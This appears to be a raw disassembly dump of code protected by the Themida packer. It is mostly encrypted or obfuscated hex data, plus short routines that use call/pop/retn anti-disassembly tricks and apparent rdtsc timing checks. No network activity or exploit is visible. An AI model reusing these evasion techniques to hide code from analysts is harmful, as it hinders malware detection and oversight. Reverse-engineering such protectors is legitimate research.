dd 8AB8C973h, 0BD8350C5h, 60B2191h, 2E840F00h, 50000000h
dd 7E8h, 0D1E36500h, 697389C4h, 2434895Fh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0DCC35343h, 1DB5FF54h
dd 6A060EA8h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 18042444h, 43000000h, 3E9BC353h, 89E81CDBh, 0B01C595h
dd 8195FF06h, 6A060B12h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 14042444h, 43000000h, 5695C353h, 1FE5BD8Bh
dd 665F060Bh, 0FF1D2FBBh, 0EA81DB5h, 53006A06h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 90376B74h
dd 0FF4ABBB8h, 0B0B8D95h, 0F1BD8306h, 2060B17h, 5A840Fh
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
dd 50400000h, 8E9DF0C3h, 5E50E546h, 60BF766Eh, 8B61B032h
dd 0C5858BF9h, 8B060B2Eh, 0B27BD9Dh, 0C606h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 60C35141h, 0DA8BCC6Dh
dd 6B985C7h, 60Bh, 0BD8B0000h, 60B0355h, 0FFF0D8E9h, 53006AFFh
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 0CE5DD816h, 81A0BB9Eh, 5D5E06E3h, 6AC18B39h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
dd 3592C352h, 6850Fh, 9D8B0000h, 60B1FF5h, 14E8h, 0BB81C100h
dd 0AACED18Dh, 89E0E78Fh, 7A1F3427h, 0A8839088h, 6860F0Eh
dd 8B000000h, 0B02D59Dh, 858D5B06h, 60B28A9h, 2B799D8Bh
dd 8950060Bh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1B0424h, 53430000h, 0AF07C5C3h, 0B278920Eh, 6A006A05h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h
dd 46000000h, 8921C356h, 0B71E1056h, 1F498589h, 6A060Bh
dd 183D9D09h, 858D060Bh, 60FE18Fh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 69C35343h, 9B79F2CCh, 3892CE09h
dd 6A05C083h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 9BD9C356h, 0AD790CA9h, 72D4D6A4h
dd 16899D89h, 5050060Bh, 0CE952h, 2D110000h, 0A5FB6A5Ah
dd 0F129392Bh, 310FD0E6h, 28B0Fh, 61600000h, 489585Ah
dd 0F98D0124h, 8B060B32h, 6A006AFBh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0DE8EC356h
dd 0FB623912h, 6712B7Dh, 6AFA8Bh, 9DE38166h, 2195FFAAh
dd 6A060B2Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 6391C356h, 4CD21D2Fh, 6CA23863h
dd 6141BB66h, 0A7B08D8Dh, 8D29060Eh, 60B2A05h, 12E9h, 543B3900h
dd 0A079E9F7h, 0D1423883h, 65F51FB5h, 0FFD67D9Ch, 6E9D1h
dd 37960000h, 0E29311D5h, 0B19BD83h, 0F01060Bh, 5685h
dd 6A76B300h, 53006A02h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1904h, 0C3534300h, 3191E110h, 0FCFC5AA4h, 89DF8B50h
dd 0D7802404h, 1595FF02h, 6A060B0Fh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 2E88C356h
dd 0E9A956E0h, 0E03h, 0E8h, 0ED815D00h, 60FE199h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 5DC35343h, 7E9FD34h
dd 7D000000h, 5CBF144Ch, 6A3234h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 150424h, 50400000h, 0F7DFDC3h, 687h, 358D8900h
dd 8D060B04h, 0E929385h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1704h, 0C3514100h, 0DDB787FFh, 0D98B6656h
dd 0AD85015Bh, 50060B16h, 6A240489h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 0C2FAC351h
dd 2319B0D9h, 8BBEA01Eh, 0B31DD9Dh, 518D8906h, 64060B16h
dd 35FFh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1B0424h, 51410000h, 0F64A50C3h, 0BE71531Dh, 816653A0h
dd 5FAEA8F3h, 5E9h, 0B3F3700h, 8964BF3Fh, 25h, 0EB816600h
dd 85FF1F47h, 60B066Dh, 6840Fh, 9D8B0000h, 60B31A5h, 0DE9h
dd 6D8AD000h, 25C5615Eh, 0C97144C3h, 0FF6AA7FEh, 629BD8Bh
dd 0B5FF060Bh, 60B21D9h, 0FF3FDB80h, 0B241195h, 124E906h
dd 8A0F0000h, 5, 3A3608BFh, 8900B037h, 0B0F918Dh, 6070E606h
dd 328D8D89h, 0E461060Bh, 0C1BD8971h, 3C060B29h, 0F7830F61h
dd 0BB000000h, 367D120Ch, 0FC8B60Fh, 382h, 0FAB70F00h
dd 0C63BCF81h, 6BA2299h, 8B000000h, 2DBD8BD8h, 8B060B2Ah
dd 0E8C1F5C1h, 719D8904h, 66060B02h, 8D01E2F7h
dd 60B1691h, 880FC82Bh, 6, 681BD8Bh, 0EF81060Bh, 14A5BB47h
dd 0BD8BD18Bh, 60B2B61h, 9DE9h, 0F8BF0F00h, 800Fh, 858B0000h
dd 5F4C4C44h, 3A6761BFh, 7C0836Bh, 15B19589h, 0C083060Bh
dd 0FAB70F00h, 830FD03Bh, 20h, 8E8h, 0A4BB9200h, 55C60194h
dd 9D035349h, 60B1FC1h, 57E95F5Bh, 0BB000000h, 1B78E20h
dd 0FFFF8D8Bh, 0BB66FFFFh, 0E183478Dh, 3F840F01h, 60000000h
dd 9EDA8166h, 0C9B50941h, 61060B1Fh, 0FFFFA583h, 0E9FEFFFFh
dd 12h, 0EBCBB5E5h, 0BDF8562h, 371CD89Fh, 0D181B70Bh, 0BB664A7Ah
dd 95892054h, 5F4C4C44h, 79D066BFh, 0E97Fh, 0B58D0000h
dd 60F5F5Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Dh, 0CBC35141h, 8CB28925h, 2EA72CEAh, 19D8BE5h, 60060B33h
dd 2E618D8Bh, 6A61060Bh, 0D4E38100h, 0FF4CC1CCh, 0B32DD95h
dd 0FE8B6606h, 0FD8B9h, 13E900h, 0F13C0000h, 0C5DB623h
dd 5A0DA5CDh, 87D206CAh, 44058050h, 0DAB8BF43h, 0E18324B3h
dd 53006AFCh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h
dd 0C3534300h, 11E907EFh, 0DB000000h, 0E6A80BFAh, 0C85DDAE9h
dd 0D6FE16C4h, 14CAC07Eh, 458D09FCh, 8B060B32h, 0B0E89BDh
dd 0B806h, 9D890000h, 60B08D5h, 870FD22Bh, 6, 2939BD8Bh
dd 0BD0B060Bh, 60B21C1h, 0D1C233ADh, 83D003E8h, 0F47504E9h
dd 2A999D33h, 880D060Bh, 60000000h, 0BE81CB5h, 0FE000000h
dd 1F11A9F6h, 0F18D271h, 9D89F6B4h, 60B0F09h, 958B6158h
dd 60B174Dh, 4870Fh, 0BF660000h, 8D8BB585h, 60B0119h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0A0C35040h, 62F0ABB8h
dd 0BD89BA8Ch, 60B0965h, 8BC28B50h, 8BC10318h, 0D1C18B18h
dd 8BC203E8h, 6A5818h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 0E256BBC3h, 2425BD8Bh, 0FF8060Bh
dd 687h, 959D0100h, 83060B12h, 0B29BDBDh, 840F0006h, 82h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0C9C35141h
dd 1AC5BD8Bh, 0B8060Bh, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0D737C352h
dd 0F217F3Eh, 8D8DDABFh, 60B4DD7h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 0F4C35242h, 77474EA5h, 6860FB5h
dd 8B000000h, 0B26F99Dh, 80E1FF06h, 0BD832EE3h, 60B1009h
dd 52840F00h, 0E8000004h, 0Fh, 25E51D28h, 982FF8A3h, 0C07830F4h
dd 0FD00504h, 68Bh, 0D5958900h, 5F060B2Eh, 1009BD83h, 0F01060Bh
dd 43F84h, 81858900h, 83060B0Ch, 0B1009BDh, 860F0306h
dd 3F6h, 6A60F9h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 180424h, 56460000h, 93F24EC3h, 0B509C5D5h, 60B016Dh
dd 29D98C66h, 0B0295BDh, 4E18006h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Dh, 0B0C35141h, 53AC1D99h, 3D6FB4F6h
dd 0FC90A9Eh, 14384h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1404h, 0C3524200h, 0B70FFC53h, 7D858BD9h
dd 6A060B31h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 17042444h, 42000000h, 8C57C352h, 890FB199h, 6, 0E459D8Bh
dd 0BB66060Bh, 8533F09Ch, 60B06EDh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 17h, 0DBC35343h, 90AA4C6Bh, 9050D98Bh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 14C35343h
dd 1B6608E9h, 0B70F006Ah, 0B79668F8h, 0B760C80Fh, 4816125h
dd 0F4C6924h, 55006A38h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1804h, 0C3554500h, 64756FDCh, 0BF87BF47h, 9D293819h
dd 60B3331h, 3D195FFh, 6A060Bh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 160424h, 51410000h, 727EF8C3h, 858943B3h
dd 60EA81Dh, 8800Fh, 8F0F0000h, 2, 2EE96160h, 6A000002h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 0B6D9C351h, 803861FBh, 0D98B665Dh, 0A815858Bh
dd 6A060Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
dd 53430000h, 3AD5EC3h, 1A810FC6h, 60000000h, 0DE9h, 41BCD500h
dd 0E76F3EC7h, 0B8372300h, 958B3878h, 60B0841h, 0D8B70F61h
dd 1800C7h, 8D890000h, 60B28EDh, 0A819B58Bh, 0E381060Eh
dd 6404B2CBh, 6E1858Bh, 840F060Bh, 6, 2711BD89h, 0BF66060Bh
dd 6897F3Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ah, 43C35747h, 0E2EDAF7Ch, 858B5EB6h, 60B317Dh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0D4C35646h, 43BFE176h
dd 9D2397B1h, 60B20C9h, 0E19D29h, 4689060Bh, 57006A04h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 0DD83733Bh, 0C43DAD88h, 96F98BF5h, 0D40983BFh, 5157507Bh
dd 310F5250h, 5B5B585Ah, 0CE996h, 0E52E0000h, 17644588h
dd 6B3423CFh, 0B5FF7977h, 60EA815h, 0FAE3D781h, 8B66312Bh
dd 4E8F9h, 3FF0000h, 0BE8001Fh, 86000000h, 9B54FFB4h, 6621085Ah
dd 66517952h, 5B5BDF8Bh, 8B94B350h, 0E8042444h, 0Dh, 0A253B878h
dd 7C883645h, 22523922h, 0F98B66BFh, 89008B5Fh, 60042444h
dd 6890Fh, 52500000h, 585A310Fh, 5861C68Bh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 4FC35040h, 3D731DD6h
dd 29CF1DFAh, 2E65BD89h, 0BD89060Bh, 60B2A05h, 0A81D858Dh
dd 6A060Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
dd 56460000h, 8BD983C3h, 0B31D5BDh, 8B665006h, 240489F9h
dd 0FFD98B66h, 0B03D195h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 16058BCh, 4582BF1Ah
dd 6A6156h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
dd 57470000h, 0C7090BC3h, 0B100985h, 306h, 0CFC78100h
dd 833E179Bh, 0EA81DBDh, 840F0006h, 0Eh, 0E9DFB70Fh, 21h
dd 1045BD89h, 3050060Bh, 4400110Ch, 0E8C10111h, 11443010h
dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h
dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h
dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h
dd 7504E983h, 8B00EBE7h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1504h, 0C3514100h, 0E9BB9814h, 6A62590Fh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 7F9DC353h, 0E573BB66h, 1009BD83h, 0F03060Bh
dd 44F85h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1B04h, 0C3564600h, 28048559h, 0B651AA7h, 6820F51h, 89000000h
dd 0B211DBDh, 0BD835B06h, 60EA81Dh, 11840F00h, 6A000004h
dd 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0C427C357h
dd 41A37C97h, 207DB589h, 0B5FF060Bh, 60EA81Dh, 1F8B70Fh
dd 0B2A3195h, 3D95FF06h, 0E9060B08h, 11h, 0CD1320CBh, 5848DA32h
dd 0C4D8B71Ch, 560CB026h, 11B58B3Dh, 6A060EA8h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
dd 0DBF3C353h, 0B00618B3h, 0D980D4ACh, 106C7h, 6A0001h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 519650C3h, 34BB505Fh, 96725F86h, 0A81DB5FFh, 11E9060Eh
dd 0D3000000h, 46D35D07h, 7C801190h, 8BD577Ah, 3DCE3AFAh
dd 64195FFh, 6A060Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 190424h, 50400000h, 879F20C3h, 0F5A1817h, 83h, 11B58B00h
dd 6A060EA8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 273FC355h, 0EDCAABDAh, 0BD31CB4Fh
dd 60B12E1h, 121D858Bh, 12E8060Bh, 2A000000h, 0D3FD29DDh
dd 9EC092E6h, 9A4FB6B5h, 7B68B72Ch, 5F9BB77Dh, 0C48689h
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
dd 50400000h, 0CCD363C3h, 52E7805Ch, 174D958Bh, 6A060Bh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 452F7BC3h, 237F3031h, 4C283F5h, 81DFB70Fh, 0E6A099CBh
dd 20508929h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 16h, 0AEC35040h, 858D0523h, 60EBAEEh, 0B88689h, 5F520000h
dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
dd 53430000h, 11682DC3h, 89EC5948h, 0B28C99Dh, 1DB5FF06h
dd 8B060EA8h, 0B27359Dh, 1595FF06h, 6A060B0Fh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
dd 0E58CC357h, 698F4CBEh, 9D8BBA17h, 60B14E5h, 14840F96h
dd 0E9000000h, 0Fh, 0B4FD50DAh, 8739316Ch, 0A9290181h
dd 508F9992h, 0CE9h, 9E491000h, 0A80EE55Ch, 0EFA7E3D3h
dd 9D8B9687h, 60B1B79h, 0A81DB5FFh, 6A060Eh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 8F4481C3h
dd 0C51EAE51h, 9D03306Ch, 60B0405h, 0F595FFh, 6A060Bh
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
dd 0BD2936C3h, 60B0F59h, 2191BD83h, 0F00060Bh, 3784h, 6E800h
dd 0EF10000h, 0D37EBBFCh, 14860Fh, 0FE90000h, 50000000h
dd 9BC1493Dh, 24728E31h, 2ABD19B2h, 965F324Dh, 50D88B66h
dd 0BC68F2BFh, 95019612h, 60B19B9h, 0A81DB5FFh, 6A060Eh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 0B2B821C3h, 1521BD8Bh, 95FF060Bh, 60B1281h, 8E8h, 34F8C200h
dd 99136C6Eh, 5FAFB72Eh, 0A81DB5FFh, 6A060Eh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0EC0C26C3h
dd 212DBD23h, 95FF060Bh, 60B0B8Dh, 60FA8B66h, 0BEC2B70Fh
dd 1795698Ch, 0F1BD8361h, 2060B17h, 77840Fh, 6A0000h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
dd 0E1BA11C3h, 69F9119Bh, 2EC5858Bh, 6A060Bh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0DF2FF5C3h
dd 10595475h, 0C6DBh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Bh, 0DEC35141h, 2C5C17EBh, 89E85691h, 0B2F5195h
dd 0B985C706h, 60B06h, 0BB000000h, 2EA175C1h, 0FFF375E9h
dd 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h
dd 0C3534300h, 6850F20h, 89000000h, 0B18999Dh, 6AC18B06h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 15C7C355h, 8D8DB337h, 0B28A985h, 719D8B06h
dd 50060B20h, 0EE8h, 0BFFD9D00h, 8AEC0D4Fh, 0C500B961h
dd 5F26E09Eh, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 17042444h, 45000000h, 2949C355h, 6A07A1h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0EDC35040h
dd 0C3E5CB4Fh, 6A0884h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 71C35141h, 0FFA8BFCh, 681h, 0D99D8B00h
dd 8D060B2Eh, 0FF1D185h, 0EFD38006h, 905C083h, 0B022985h
dd 8B669006h, 0FB8B50FAh, 53006A90h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 551BC3A2h
dd 0BD8BBECCh, 60B1ECDh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1B0424h, 52420000h, 82CE79C3h, 86DFAAFEh
dd 89958903h, 6A060B12h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1B04h, 0C3524200h, 47C031F5h, 0FC93AB49h
dd 13E9h, 0CDEA000h, 7D5E9104h, 0B090FF10h, 0B237CD36h
dd 7A7F319Ah, 2F2195FFh, 6A060Bh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1A0424h, 50400000h, 0F3BC1FC3h, 0B368BF00h
dd 8D8D5B52h, 60EA7B0h, 0FFFFB70Fh, 19BF66D1h, 19BD8399h
dd 1060B0Bh, 0B7850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 170424h, 57470000h, 4C171BC3h, 0DF8B66B6h
dd 18E59589h, 26A060Bh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ch, 0D0C35040h, 163F6C3Ah, 2EB997D7h, 15D99D8Bh
dd 0EF81060Bh, 26A0D368h, 0C8BB6690h, 5250503Eh, 0DE8h
dd 89B9C800h, 1DE0BBDEh, 62F880ADh, 61601F04h, 60310F5Fh
dd 21C2D0BAh, 4B96636h, 585A6115h, 53006A90h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 5804B534h
dd 334AA798h, 0FF18D89h, 95FF060Bh, 60B0F15h, 0CB7E9FCh
dd 0E80000h, 5D000000h, 0F1DBED81h, 6A060Fh, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0FBBF09C3h
dd 5679D7F8h, 9D8B6040h, 60B23F5h, 5498BF66h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 1CC35545h, 0C19221FCh
dd 56540C0Eh, 93858D35h, 6A060E92h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0DD9BC355h
dd 8C7BA9D0h, 0F82A467Dh, 0BF7FCB80h, 6519ABF1h, 50D98B90h
dd 1A8B0Fh, 12E80000h, 0D9000000h, 0AF6C8A19h, 5A42239Dh
dd 0C6EFC049h, 0FEAD1B3Bh, 5B6160A3h, 8E990h, 49AC0000h
dd 0E2FB7992h, 0FF6460C4h, 35h, 0EEB96000h, 0F65B91Dh
dd 381h, 0F78B6600h, 25896461h, 0
; ---------------------------------------------------------------------------
mov ebx, [ebp+60B1339h]
inc dword ptr [ebp+60B066Dh]
push 0
push eax
call sub_58B373
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58B373 proc near ; CODE XREF: Themida_:0058B36Bp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ah
inc eax
push eax
retn
sub_58B373 endp
; ---------------------------------------------------------------------------
mov dword ptr [ecx-6Ah], 0C85B2117h
loc_58B38A: ; CODE XREF: Themida_:0058BF1Ej
push 0FFFFFFFFh
push dword ptr [ebp+60B1F8Dh]
push 0
push esi
call sub_58B39D
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58B39D proc near ; CODE XREF: Themida_:0058B395p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_58B39D endp
; ---------------------------------------------------------------------------
pop eax
mov [ebp+60B0CA1h], ecx
call dword ptr [ebp+60B2411h]
jmp loc_58B4DA
; ---------------------------------------------------------------------------
db 8Bh
dd 0E600B0FBh, 0A03EBB70h, 71E42450h, 0FE9h, 9C412300h
dd 0B32535B9h, 7C74E5A2h, 7A1A3AEEh, 830F613Ch, 0F2h, 2AC9BD89h
dd 0B60F060Bh, 0D78166C8h, 6BA4768h, 0E8000000h, 8, 0A0043D6Dh
dd 0A571E824h, 721BF66h, 0FC18B5Bh, 380h, 0FFB70F00h, 8B04E8C1h
dd 0B33819Dh, 0E2F76606h, 840Fh, 0C82B0000h, 12219D09h
dd 0D18B060Bh, 0B658589h, 9BE9060Bh, 66000000h, 0D6D8F781h
dd 2EC1BD8Bh, 858B060Bh, 47554C50h, 0CFDD81BFh, 7C08307h
dd 0BF0F6051h, 0D8529CBh, 61060B0Ch, 0C0835Fh, 3BDE8B66h
dd 16830FD0h, 0F000000h, 681h, 0BD9D8900h, 0E9060B27h
dd 56h, 0D2C38166h, 0FF8D8B23h, 60FFFFFFh, 371DF3BAh, 61FB8B61h
dd 0F01E183h, 3984h, 259D8B00h, 83060B2Eh, 0FFFFFFA5h
dd 8B0FFEFFh, 15h, 0F870Fh, 0AE90000h, 0A7000000h, 641D2181h
dd 0DFCAAD6Fh, 50958966h, 2947554Ch, 0B21BD85h, 0E906h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_58B4DA: ; CODE XREF: Themida_:0058B3BAj
lea esi, [ebp+60F6F34h]
mov edi, eax
push 0
push 0
push edx
call sub_58B4EF
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58B4EF proc near ; CODE XREF: Themida_:0058B4E7p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_58B4EF endp
; ---------------------------------------------------------------------------
db 27h
dd 723295A1h, 5D9082A0h, 89F48A60h, 0B06E995h, 0DE8B6106h
dd 32DD95FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1A0424h, 57470000h, 781947C3h, 0BB3D3AE3h, 332D9D89h
dd 0F1B9060Bh, 6A00000Eh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 15042444h, 46000000h, 1A7BC356h, 0E918529h
dd 0E183060Bh, 51006AFCh, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1604h, 0C3514100h, 290ECF4Ch, 0B2EE185h
dd 9D0BFC06h, 60B103Dh, 0D22BC02Bh, 0B42006BFh, 0C233AD64h
dd 0D003E8D1h, 7504E983h, 0E38166F4h, 0FA8BF8DAh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0E0C35343h, 78EB894Ch
dd 4D4D8775h, 1A199D89h, 880D060Bh, 3000000h, 0B2E659Dh
dd 4D958B06h, 6A060B17h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 18042444h, 41000000h, 3ACAC351h, 8B00BBBEh
dd 0B04E99Dh, 198D8B06h, 0BB060B01h, 3F44CDE3h, 8BC28B50h
dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 8D895818h, 60B03F5h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 47C35545h
dd 9D8BD4F1h, 60B01F1h, 29BDBD83h, 0F00060Bh, 7684h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 18EFF2B2h, 4D765882h, 12E9h, 0C6174500h, 0D99B2993h
dd 0ED8C8BBFh, 3E4A2831h, 0B82E3F74h, 0
; ---------------------------------------------------------------------------
xor edi, [ebp+60B2491h]
lea ecx, [ebp+60B4DD7h]
push 0
push edi
call sub_58B6BF
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58B6BF proc near ; CODE XREF: Themida_:0058B6B7p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_58B6BF endp
; ---------------------------------------------------------------------------
db 52h
dd 632CE645h, 2CAD3158h, 8CBFE1FFh, 83605782h, 0B1009BDh
dd 840F0006h, 3B1h, 0DF98D89h, 0BD83060Bh, 60B1009h, 0B9840F01h
dd 6A000003h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 17042444h, 47000000h, 4A6CC357h, 0BD83584Ah, 60B1009h
dd 57860F03h, 6A000003h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 16042444h, 47000000h, 9CDAC357h, 559D89E8h
dd 60060B17h, 0EE06B4BFh, 0D98C6638h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Bh, 43C35646h, 0DF36B25Bh, 29064432h
dd 0B04C18Dh, 4E18006h, 60CCBB66h, 0BE9h, 14B8E300h, 9DEE097Bh
dd 0B6C03AECh, 840FC90Ah, 129h, 1265BD2Bh, 858B060Bh, 60B317Dh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 45C35343h
dd 8C1B2CBEh, 0B690DB81h, 853332EEh, 60B06EDh, 33C19D8Bh
dd 6050060Bh, 0D38B6660h, 0C4F6BA66h, 0D38B6661h, 24048961h
dd 13FD9531h, 6A060Bh, 13E8h, 0BE761B00h, 8DB4ADFh, 8909DC58h
dd 0E468BA8Eh, 0BA26DEFAh, 80F38166h, 4E85B00h, 0FF000000h
dd 0E9001F03h, 0Dh, 622B7811h, 9D46F645h, 0DA8FE7F4h, 60605003h
dd 310F5250h, 850F585Ah, 0
dd 448B6161h, 52500424h, 0BF56310Fh, 68225513h, 8B585A5Fh
dd 0C4B0BF00h, 4489528Bh, 11E80424h, 34000000h, 91E77692h
dd 693A27DFh, 0DFC42FD4h, 7236EFB0h, 9E8h, 3B319E00h, 2537662Ch
dd 0BB660C3Dh, 5F5BED17h, 0FFCB8058h, 3D195FFh, 0BF66060Bh
dd 85899D65h, 60EA81Dh, 2BEB8166h, 185E90Fh, 6A0000h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 0D8237C3h, 4F03D01h, 15858BB5h, 66060EA8h, 0C7D88Bh
dd 18h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h
dd 53C35040h, 81BD8BA3h, 8B060B24h, 0EA819B5h, 5DBD8B06h
dd 8B060B28h, 0B06E185h, 19D8B06h, 89060B22h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
dd 0CD99C0C3h, 42A979D0h, 0BB59D29h, 858B060Bh, 60B317Dh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0D4C35646h
dd 0C60F3AC5h, 0FA8B66DBh, 6A044689h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0BA34C356h
dd 96E966B6h, 0CE9h, 61414E00h, 221C35C6h, 33E3FF99h, 20BF5032h
dd 9662919Ch, 6880Fh, 0B5890000h, 60B021Dh, 0A815B5FFh
dd 0FA8B060Eh, 0B4B268h, 0DFBB6691h, 240481E1h, 6F1E4F4Dh
dd 1D858DF5h, 50060EA8h, 6A240489h, 3E85000h, 20000000h
